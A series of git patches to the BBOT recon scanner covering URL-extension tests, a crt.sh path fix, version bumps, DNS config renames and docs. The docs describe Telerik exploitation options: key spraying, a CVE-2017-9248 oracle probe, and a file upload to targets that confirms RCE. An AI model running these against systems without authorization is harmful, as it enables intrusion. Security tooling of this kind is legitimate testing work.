hr_pdf.tags + hr_no_ext = _http_response("https://evilcorp.com/search") + assert getattr(hr_no_ext, "url_extension", "NOT_SET") == "NOT_SET" + + # special extensions (.js) must still reach modules that don't opt in to special URLs, + # since the response body has already been retrieved. the distribution behavior + # itself is pinned in test_modules_basic.py + hr_js = _http_response("https://evilcorp.com/app.js") + assert getattr(hr_js, "url_extension", "") == "js" + # http response assert events.http_response.host == "example.com" assert events.http_response.port == 80 diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 60e4080714..bd9cd360e1 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -118,6 +118,42 @@ async def test_modules_basic_checks(events, blasthttp_mock): assert result is True assert reason == "event is always emitted" + # special URL extensions (.js) are withheld from modules that don't opt in. + # HTTP_RESPONSE is exempt: its body is already retrieved, so consumers analyze + # content rather than deciding whether to fetch. BaseModule defaults to + # accept_url_special = False. + special_module = BaseModule(scan) + special_module._watched_events = None + special_module.watched_events = ["*"] + js_url = scan.make_event("http://127.0.0.1/app.js", "URL_UNVERIFIED", parent=scan.root_event) + assert js_url.url_extension == "js" + result, reason = special_module._event_precheck(js_url) + assert result is False + assert "special URL extension" in reason + js_response = scan.make_event( + {"url": "http://127.0.0.1/app.js", "method": "GET", "raw_header": "HTTP/1.1 200 OK\r\n\r\n"}, + "HTTP_RESPONSE", + parent=scan.root_event, + ) + assert js_response.url_extension == "js" + result, reason = special_module._event_precheck(js_response) + assert result is True, reason + + # blacklisted extensions are rejected outright at ingress, HTTP_RESPONSE included. + # no module emits one with a blacklisted extension today, so this pins the intended + # semantics rather than behavior anything currently depends on + css_url = scan.make_event("http://127.0.0.1/style.css", "URL_UNVERIFIED", parent=scan.root_event) + # compared as a tuple: handle_event returns None when it accepts, so an + # exemption shows up as a clean mismatch rather than an unpack error + assert await scan.ingress_module.handle_event(css_url) == (False, "event is blacklisted") + css_response = scan.make_event( + {"url": "http://127.0.0.1/style.css", "method": "GET", "raw_header": "HTTP/1.1 200 OK\r\n\r\n"}, + "HTTP_RESPONSE", + parent=scan.root_event, + ) + assert css_response.url_extension == "css" + assert await scan.ingress_module.handle_event(css_response) == (False, "event is blacklisted") + # common event filtering tests for module_class in (BaseModule, BaseOutputModule, BaseReportModule, BaseInternalModule): base_module = module_class(scan) diff --git a/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py b/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py index ec931afc9f..90e0f1dd99 100644 --- a/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py +++ b/bbot/test/test_step_2/module_tests/test_module_paramminer_getparams.py @@ -288,3 +288,11 @@ def check(self, module_test, events): assert excavate_extracted_param, "Excavate should still extract the parameter from the HTML link" assert not paramminer_recycled_to_php, "Paramminer should not recycle words from static-URL WEB_PARAMETERs" assert not paramminer_bruted_pdf, "Paramminer should not brute-force parameters on static URLs" + + # paramminer's static filter also applies to HTTP_RESPONSE events, which requires + # url_extension to be populated on them + pdf_responses = [e for e in events if e.type == "HTTP_RESPONSE" and e.data["url"].endswith("test2.pdf")] + assert pdf_responses, "expected an HTTP_RESPONSE for the .pdf URL" + assert getattr(pdf_responses[0], "url_extension", None) == "pdf", ( + "HTTP_RESPONSE is missing url_extension, so paramminer's static filter is bypassed" + ) From 2889e12eee1ea8dcf1e1caf533e6bae6e95f2612 Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Thu, 24 Sep 2026 08:40:39 -0400 Subject: [PATCH 101/256] Update trufflehog (#3438) --- bbot/modules/trufflehog.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 010ee5520e..c920a9ca6d 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -15,7 +15,7 @@ class trufflehog(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.97.4", description="trufflehog version") + version: str = Field("3.97.8", description="trufflehog version") config: str = Field("", description="File path or URL to YAML trufflehog config") only_verified: bool = Field(True, description="Only report credentials that have been verified") concurrency: int = Field(8, description="Number of concurrent workers") From 8b360ed27c494d2b0cf6abbe79c86c703f9fb176 Mon Sep 17 00:00:00 2001 From: wandering-walnut Date: Thu, 24 Sep 2026 20:54:56 +0100 Subject: [PATCH 102/256] crt: request an explicit / path (blasthttp sends an empty path, which crt.sh rejects with 400) (#3428) * crt: request an explicit / path; blasthttp sends an empty path, which crt.sh rejects with 400 add_get_params("https://crt.sh", ...) yields https://crt.sh?q=...&output=json, which has no path. blasthttp sends it as given, so the request line becomes `GET ?q=...` and crt.sh's nginx answers 400 Bad Request on every query. httpx (bbot 2.x) normalised the empty path to /. * Remove crt base_url comment --------- Co-authored-by: liquidsec --- bbot/modules/crt.py | 2 +- bbot/test/test_step_2/module_tests/test_module_crt.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/modules/crt.py b/bbot/modules/crt.py index ed435ccd3f..f6c9dcfca1 100644 --- a/bbot/modules/crt.py +++ b/bbot/modules/crt.py @@ -11,7 +11,7 @@ class crt(subdomain_enum): "author": "@TheTechromancer", } - base_url = "https://crt.sh" + base_url = "https://crt.sh/" reject_wildcards = False async def setup(self): diff --git a/bbot/test/test_step_2/module_tests/test_module_crt.py b/bbot/test/test_step_2/module_tests/test_module_crt.py index 34bfd7b1a1..8947a3d591 100644 --- a/bbot/test/test_step_2/module_tests/test_module_crt.py +++ b/bbot/test/test_step_2/module_tests/test_module_crt.py @@ -6,7 +6,7 @@ async def setup_after_prep(self, module_test): module_test.module.abort_if = lambda e: False for t in self.targets: module_test.blasthttp_mock.add_response( - url="https://crt.sh?q=%25.blacklanternsecurity.com&output=json", + url="https://crt.sh/?q=%25.blacklanternsecurity.com&output=json", json=[{"id": 1, "name_value": "asdf.blacklanternsecurity.com\nzzzz.blacklanternsecurity.com"}], ) From 3375824b0c63b0579c37fc6e4f5bb6458d09f403 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 24 Sep 2026 15:56:08 -0400 Subject: [PATCH 103/256] Format module_howto code block --- docs/dev/module_howto.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/docs/dev/module_howto.md b/docs/dev/module_howto.md index 2c20253dd1..fb91c1b1fb 100644 --- a/docs/dev/module_howto.md +++ b/docs/dev/module_howto.md @@ -196,7 +196,11 @@ class MyModule(BaseModule): }, { "name": "Build masscan", - "command": {"chdir": "#{BBOT_TEMP}/masscan", "cmd": "make -j", "creates": "#{BBOT_TEMP}/masscan/bin/masscan"}, + "command": { + "chdir": "#{BBOT_TEMP}/masscan", + "cmd": "make -j", + "creates": "#{BBOT_TEMP}/masscan/bin/masscan", + }, }, { "name": "Install masscan", From 24bfa48cd5ab04065935f00e1e70addbefacbfd4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 24 Sep 2026 16:28:00 -0400 Subject: [PATCH 104/256] Rename --custom-nameserver to --custom-nameservers --- bbot/scanner/preset/args.py | 6 +++--- bbot/test/test_step_1/test_cli.py | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index 2204274872..733ce14756 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -207,8 +207,8 @@ def preset_from_args(self): if self.parsed.no_proxy: args_preset.core.merge_custom({"web": {"http_proxy_exclude": self.parsed.no_proxy}}) - if self.parsed.custom_nameserver: - args_preset.core.merge_custom({"dns": {"nameservers": self.parsed.custom_nameserver}}) + if self.parsed.custom_nameservers: + args_preset.core.merge_custom({"dns": {"nameservers": self.parsed.custom_nameservers}}) if self.parsed.custom_headers: args_preset.core.merge_custom({"web": {"http_headers": self.parsed.custom_headers}}) @@ -433,7 +433,7 @@ def create_parser(self, *args, **kwargs): metavar="HOST", ) misc.add_argument( - "--custom-nameserver", + "--custom-nameservers", nargs="+", default=[], help="Use these nameservers instead of the system ones (e.g. 1.1.1.1 8.8.8.8:53)", diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 1a2f09193c..8d9f673934 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -828,8 +828,8 @@ def test_cli_presets(monkeypatch, capsys, caplog, clean_default_config): stdout_preset.pop("description") assert stdout_preset == {"config": {"web": {"http_proxy": "http://127.0.0.1:8080"}}} - # --custom-nameserver - monkeypatch.setattr("sys.argv", ["bbot", "--custom-nameserver", "1.1.1.1", "8.8.8.8:53", "--current-preset"]) + # --custom-nameservers + monkeypatch.setattr("sys.argv", ["bbot", "--custom-nameservers", "1.1.1.1", "8.8.8.8:53", "--current-preset"]) cli.main() captured = capsys.readouterr() stdout_preset = yaml.safe_load(captured.out) From ace0370159a94aa43425c86142330c0d6688a023 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 24 Sep 2026 18:45:58 -0400 Subject: [PATCH 105/256] Restore dns.brute_threads name --- README.md | 2 +- bbot/core/config/models.py | 2 +- bbot/core/helpers/dns/brute.py | 2 +- bbot/defaults.yml | 4 ++-- bbot/presets/subdomain-enum.yml | 2 +- bbot/test/test_step_1/test_dns.py | 2 +- docs/scanning/configuration.md | 4 ++-- docs/scanning/scan_sanity.md | 2 +- docs/scanning/tips_and_tricks.md | 2 +- 9 files changed, 11 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index f27d43b6c1..6df88e3771 100644 --- a/README.md +++ b/README.md @@ -57,7 +57,7 @@ output_modules: config: dns: threads: 25 - brute_concurrency: 1000 + brute_threads: 1000 # put your API keys here # modules: # github: diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 62655ae60f..250f459666 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -247,7 +247,7 @@ class DnsConfig(BaseModel): nameservers: Optional[list[str]] = None threads: Optional[int] = None cache_size: Optional[int] = None - brute_concurrency: Optional[int] = None + brute_threads: Optional[int] = None brute_inflight_per_resolver: Optional[int] = None brute_rate_limit: Optional[float] = None brute_retries: Optional[int] = None diff --git a/bbot/core/helpers/dns/brute.py b/bbot/core/helpers/dns/brute.py index 04bfc1597f..32b7811023 100644 --- a/bbot/core/helpers/dns/brute.py +++ b/bbot/core/helpers/dns/brute.py @@ -28,7 +28,7 @@ def __init__(self, parent_helper): self.log = logging.getLogger("bbot.helper.dns.brute") self.dns_config = self.parent_helper.config.get("dns", {}) self.num_canaries = 100 - self.concurrency = self.dns_config.get("brute_concurrency", 1000) + self.concurrency = self.dns_config.get("brute_threads", 1000) self.inflight_per_resolver = self.dns_config.get("brute_inflight_per_resolver", 2) self.rate_limit = self.dns_config.get("brute_rate_limit", 0) self.retries = self.dns_config.get("brute_retries", 20) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index df1e8e86c2..ec032f08aa 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -53,8 +53,8 @@ dns: threads: 10 # How many DNS records to cache cache_size: 100000 - # How many queries to keep in flight in total when brute-forcing - brute_concurrency: 1000 + # How many brute-force DNS queries to keep in flight at once + brute_threads: 1000 # How many brute-force queries to keep in flight per resolver (the politeness bound) brute_inflight_per_resolver: 2 # Hard ceiling on brute-force DNS queries per second (0 = unlimited; backoff is automatic regardless) diff --git a/bbot/presets/subdomain-enum.yml b/bbot/presets/subdomain-enum.yml index d0d6491e5f..d4230c3fc6 100644 --- a/bbot/presets/subdomain-enum.yml +++ b/bbot/presets/subdomain-enum.yml @@ -11,7 +11,7 @@ output_modules: config: dns: threads: 25 - brute_concurrency: 1000 + brute_threads: 1000 # put your API keys here # modules: # github: diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 2f062d8019..aa5ac4524c 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -953,7 +953,7 @@ def __init__(self, resolvers, config): config={ "dns": { "brute_nameservers": brute_nameservers, - "brute_concurrency": 123, + "brute_threads": 123, "brute_inflight_per_resolver": 7, "brute_rate_limit": 456, "brute_retries": 9, diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 2372295314..1bb3b62f70 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -113,8 +113,8 @@ dns: threads: 10 # How many DNS records to cache cache_size: 100000 - # How many queries to keep in flight in total when brute-forcing - brute_concurrency: 1000 + # How many brute-force DNS queries to keep in flight at once + brute_threads: 1000 # How many brute-force queries to keep in flight per resolver (the politeness bound) brute_inflight_per_resolver: 2 # Hard ceiling on brute-force DNS queries per second (0 = unlimited; backoff is automatic regardless) diff --git a/docs/scanning/scan_sanity.md b/docs/scanning/scan_sanity.md index 814105e605..46e5e1fffc 100644 --- a/docs/scanning/scan_sanity.md +++ b/docs/scanning/scan_sanity.md @@ -42,7 +42,7 @@ If you truly just want the "throw everything at it" experience, we do have a pre - **`scope.search_distance`** (default `0`) is the big one. It controls how many hops out from your target BBOT is allowed to explore. At `0`, modules only act on in-scope events. Raise it and a single certificate full of affiliate names pulls in those hosts, then *their* subdomains, then *their* infrastructure, and scope balloons outward hop by hop until there's no natural stopping point. The config comment says it outright: don't change this unless you know what you're doing. (This is *not* the same as `dns.search_distance`, which only governs DNS resolution and is safer to adjust.) - **`web.spider_distance`** / **`web.spider_depth`** (default `0` / `1`). A `spider_distance` of `0` means no spidering at all. Raise it and the crawler follows links from links from links, and every URL it turns up feeds webbrute and lightfuzz. On a large site that loop is effectively unbounded. -- **`dns.threads`** / **`dns.brute_concurrency`** (default `10` / `1000`) control DNS concurrency. Cranking them won't make your scan meaningfully faster (the real lever is adding more resolvers to `/etc/resolv.conf`); it'll just flood your nameservers and get you rate-limited. +- **`dns.threads`** / **`dns.brute_threads`** (default `10` / `1000`) control DNS concurrency. Cranking them won't make your scan meaningfully faster (the real lever is adding more resolvers to `/etc/resolv.conf`); it'll just flood your nameservers and get you rate-limited. - **`dns.runaway_limit`** (default `5`) and **`dns.wildcard_disable`** (default `false`) are guardrails. `runaway_limit` stops BBOT from chasing a malicious chain of DNS records forever, and wildcard detection is the only thing keeping a `*.example.com` wildcard from spawning infinite bogus subdomains. Turning either off removes a safety net that's there for a reason. ## Scan Target diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index f5f42dc14d..c9cd5e8777 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -42,7 +42,7 @@ If you have a fast internet connection or are running BBOT from a cloud VM, you ```bash # about 5MB/s -bbot -t evilcorp.com -f subdomain-enum -c dns.brute_concurrency=5000 +bbot -t evilcorp.com -f subdomain-enum -c dns.brute_threads=5000 ``` Brute-forcing backs off on its own when resolvers start dropping queries, so raising this sets how fast BBOT will go when the resolvers can keep up, not how hard it will push regardless. If you need a firm ceiling as well, set `dns.brute_rate_limit` (queries per second, `0` for unlimited). From c4c0c13ee6dde02824d33398a286e1d4fc4b0182 Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Thu, 24 Sep 2026 18:50:06 -0400 Subject: [PATCH 106/256] [create-pull-request] automated change (#3455) --- docs/scanning/advanced.md | 2 +- docs/scanning/configuration.md | 8 ++++++-- docs/scanning/presets_list.md | 2 +- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 0650408db1..83fc75c68c 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -78,7 +78,7 @@ Presets: Modules: -m, --modules MODULE [MODULE ...] - Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_hetzner,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,http,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,skymem,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virtualhost,virustotal,waf_bypass,wafw00f,wayback,webbrute,webbrute_shortnames + Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_hetzner,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,http,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,nowafpls,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,skymem,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virtualhost,virustotal,waf_bypass,wafw00f,wayback,webbrute,webbrute_shortnames -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 322fdc3998..b61e5e847b 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -566,8 +566,12 @@ In addition to the stated options for each module, the following universal optio | modules.robots.include_sitemap | bool | Include 'sitemap' entries | False | | modules.securitytxt.emails | bool | emit EMAIL_ADDRESS events | True | | modules.securitytxt.urls | bool | emit URL_UNVERIFIED events | True | -| modules.telerik.exploit_RAU_crypto | bool | Attempt to confirm any RAU AXD detections are vulnerable | False | -| modules.telerik.include_subdirs | bool | Include subdirectories in the scan (off by default) | False | +| modules.telerik.custom_secrets | Optional[str] | Path to a file with additional Telerik hash/encryption keys to spray, one per line. | None | +| modules.telerik.include_machinekeys | bool | Also spray ASP.NET machineKey values (thousands of keys, much slower). | False | +| modules.telerik.include_subdirs | bool | Probe every discovered subdirectory instead of only the site root. | False | +| modules.telerik.probe_dialoghandler_oracle | bool | After DialogHandler detection, probe for CVE-2017-9248 oracle-vulnerable state. | True | +| modules.telerik.rau_confirm_version | bool | WARNING: writes a benign 1-byte file to the target's C:\windows\temp\ on success. Iterates candidate Telerik versions with default keys; the version that uploads is the installed one, which also confirms RCE. | False | +| modules.telerik.try_known_keys | bool | After DialogHandler detection, spray known Telerik hash/encryption keys (via badsecrets). | True | | modules.url_manipulation.allow_redirects | bool | Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default. | True | | modules.virtualhost.brute_lines | int | Take only the first N lines from the wordlist when finding directories | 2000 | | modules.virtualhost.brute_wordlist | str | Wordlist containing subdomains | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt | diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index b8d9b26a52..506cd36379 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -122,7 +122,7 @@ Comprehensive scan for all IIS/.NET specific modules and module settings webbrute_shortnames: find_subwords: True telerik: - exploit_RAU_crypto: True + rau_confirm_version: True # Identify the exact Telerik version by uploading a benign 1-byte file include_subdirs: True # Run against every directory, not the default first received URL per-host ``` From b2e16af20ec5b156f68087fb2bf302bb4a67c209 Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Fri, 25 Sep 2026 13:50:46 -0400 Subject: [PATCH 107/256] Update trufflehog (#3463) --- bbot/modules/trufflehog.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index c920a9ca6d..127199702f 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -15,7 +15,7 @@ class trufflehog(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.97.8", description="trufflehog version") + version: str = Field("3.97.9", description="trufflehog version") config: str = Field("", description="File path or URL to YAML trufflehog config") only_verified: bool = Field(True, description="Only report credentials that have been verified") concurrency: int = Field(8, description="Number of concurrent workers") From 00f85bd8e53ab3fd68a155befcabb9b789668917 Mon Sep 17 00:00:00 2001 From: Kral <118106297+dashitongzhi@users.noreply.github.com> Date: Sat, 26 Sep 2026 03:14:35 +0800 Subject: [PATCH 108/256] Add module setup troubleshooting notes (#3228) Co-authored-by: Shane Engelman --- docs/troubleshooting.md | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md index 2e620514bd..8d6546ab70 100644 --- a/docs/troubleshooting.md +++ b/docs/troubleshooting.md @@ -24,6 +24,47 @@ bbot --help ## `ModuleNotFoundError` If you run into a `ModuleNotFoundError`, try running your `bbot` command again with `--force-deps`. This will repair your modules' Python dependencies. +## Missing module commands or API key warnings +Some BBOT modules need an external command-line tool, an API key, or both. If a scan warns that a module is not installed, cannot import a dependency, or is missing an API key, use this quick checklist before filing an issue: + +```bash +# show the BBOT version and confirm the active executable +bbot --version +which bbot + +# inspect the module's options and requirements, including any api_key +bbot -mh +``` + +If the module requires an API key, put it in `secrets.yml` under the module's name: + +```yaml title="~/.config/bbot/secrets.yml" +modules: + shodan_dns: + api_key: "YOUR_API_KEY_HERE" +``` + +You can also keep the key out of that file and pass it for a single run: + +```bash +bbot -t example.com -m shodan_dns -c modules.shodan_dns.api_key=$SHODAN_API_KEY +``` + +After changing config, run a small scan with only the affected module so the error is easier to read. Dependencies install when a scan runs, so this is also what repairs them: + +```bash +bbot -t example.com -m --force-deps -v +``` + +For third-party command-line tools that BBOT does not install automatically, verify they are on your `PATH` from the same shell that runs BBOT: + +```bash +command -v + --version +``` + +If the command works in your terminal but BBOT still cannot find it, check that your shell startup files and service environment export the same `PATH`. + ## Clear BBOT Cache BBOT caches module data, wordlists, and other resources under `~/.bbot`. After an upgrade, stale cache files can sometimes cause unexpected errors. If you're seeing strange behavior after updating, try clearing it: From d74a0eff16398766b1a2d3328570134e60eb440e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 28 Sep 2026 08:17:03 -0400 Subject: [PATCH 109/256] Bump mkdocstrings-python from 2.0.8 to 2.0.9 (#3469) Bumps [mkdocstrings-python](https://github.com/mkdocstrings/python) from 2.0.8 to 2.0.9. - [Release notes](https://github.com/mkdocstrings/python/releases) - [Changelog](https://github.com/mkdocstrings/python/blob/main/CHANGELOG.md) - [Commits](https://github.com/mkdocstrings/python/compare/2.0.8...2.0.9) --- updated-dependencies: - dependency-name: mkdocstrings-python dependency-version: 2.0.9 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index b2c2482cd7..b1e8c17b86 100644 --- a/uv.lock +++ b/uv.lock @@ -1747,7 +1747,7 @@ wheels = [ [[package]] name = "mkdocstrings-python" -version = "2.0.8" +version = "2.0.9" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "griffelib" }, @@ -1755,9 +1755,9 @@ dependencies = [ { name = "mkdocstrings" }, { name = "typing-extensions", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/c5/65/0db919b7c91bf033b42d04f15ff16a56f4edd6afb26e84d448359660ece3/mkdocstrings_python-2.0.8.tar.gz", hash = "sha256:34545b54681cf0b212aab95394d37b0f5326a93b102f6ad1df3d965c79384c9d", size = 201771, upload-time = "2026-08-31T20:16:06.698Z" } +sdist = { url = "https://files.pythonhosted.org/packages/96/11/640067d1ad713ea99c233e53e57a4c300d9885f904a61371d7ef90dea549/mkdocstrings_python-2.0.9.tar.gz", hash = "sha256:ae945637dc0618c6beedbee169f10c0234b77f322c53db3fc9fb4c29b3013038", size = 203006, upload-time = "2026-09-22T13:43:27.712Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/0b/b7/a5a854d4e44853f26decc0c5e0d68df052399f3da344a313da4178f00816/mkdocstrings_python-2.0.8-py3-none-any.whl", hash = "sha256:e555d9ef53b0febdeae4dd603144d4f86ec90fef672276645ea3bb61232c3d24", size = 105443, upload-time = "2026-08-31T20:16:05.25Z" }, + { url = "https://files.pythonhosted.org/packages/62/0f/f7f926cfa06317bbdbd3cf0ff82f9e3a91767352eb01519c81499fddf575/mkdocstrings_python-2.0.9-py3-none-any.whl", hash = "sha256:c0233eff3f84d78110df50541918e7ec2bcff8e1614faddea34290a90321a416", size = 105698, upload-time = "2026-09-22T13:43:26.345Z" }, ] [[package]] From e2ea2fc4fad82c6996f664848cd6f546b97d54e9 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 28 Sep 2026 08:17:46 -0400 Subject: [PATCH 110/256] Bump pyjwt from 2.14.0 to 2.15.0 (#3468) Bumps [pyjwt](https://github.com/jpadilla/pyjwt) from 2.14.0 to 2.15.0. - [Release notes](https://github.com/jpadilla/pyjwt/releases) - [Changelog](https://github.com/jpadilla/pyjwt/blob/master/CHANGELOG.rst) - [Commits](https://github.com/jpadilla/pyjwt/compare/2.14.0...2.15.0) --- updated-dependencies: - dependency-name: pyjwt dependency-version: 2.15.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index b1e8c17b86..4741eaac0f 100644 --- a/uv.lock +++ b/uv.lock @@ -2276,14 +2276,14 @@ wheels = [ [[package]] name = "pyjwt" -version = "2.14.0" +version = "2.15.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "typing-extensions", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/af/c3/8a3b59c25070cc61dc517fbdfa5dc0904670c96f605cc69759dc09166b99/pyjwt-2.14.0.tar.gz", hash = "sha256:77283c83fb56ecf566a886c757a714bc83668e38156de2cce8263302f42e0b86", size = 113177, upload-time = "2026-09-11T13:11:54.638Z" } +sdist = { url = "https://files.pythonhosted.org/packages/02/a5/5197bfd06417837ac079921c66fa6393f1dea3557272a263cebfef69e432/pyjwt-2.15.0.tar.gz", hash = "sha256:b11c5f9791d7bf51c2b39a81ed669f6b2dbbd669df2942f6c60167e9e3d1abe4", size = 120513, upload-time = "2026-09-23T16:56:00.689Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/9c/97/672cb32ce0dfea44b740cb7b4f97038463b9cf7c0ead1aacf595572851d6/pyjwt-2.14.0-py3-none-any.whl", hash = "sha256:ad0cef71c756a56e74863c2919cf0985f72decbcfcb550ee2f422e7c62b5eedc", size = 32896, upload-time = "2026-09-11T13:11:53.409Z" }, + { url = "https://files.pythonhosted.org/packages/e8/55/40e45bf052ee8ee12a4dfd785519660f8effa7b065442b91646ec6828619/pyjwt-2.15.0-py3-none-any.whl", hash = "sha256:7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8", size = 33680, upload-time = "2026-09-23T16:55:59.241Z" }, ] [[package]] From 36f68906e10ba8006293a1cfa0cc81b6bc993eab Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 28 Sep 2026 08:18:05 -0400 Subject: [PATCH 111/256] Bump pytest-rerunfailures from 16.6.1 to 16.7 (#3470) Bumps [pytest-rerunfailures](https://github.com/pytest-dev/pytest-rerunfailures) from 16.6.1 to 16.7. - [Changelog](https://github.com/pytest-dev/pytest-rerunfailures/blob/master/CHANGES.rst) - [Commits](https://github.com/pytest-dev/pytest-rerunfailures/compare/16.6.1...16.7) --- updated-dependencies: - dependency-name: pytest-rerunfailures dependency-version: '16.7' dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 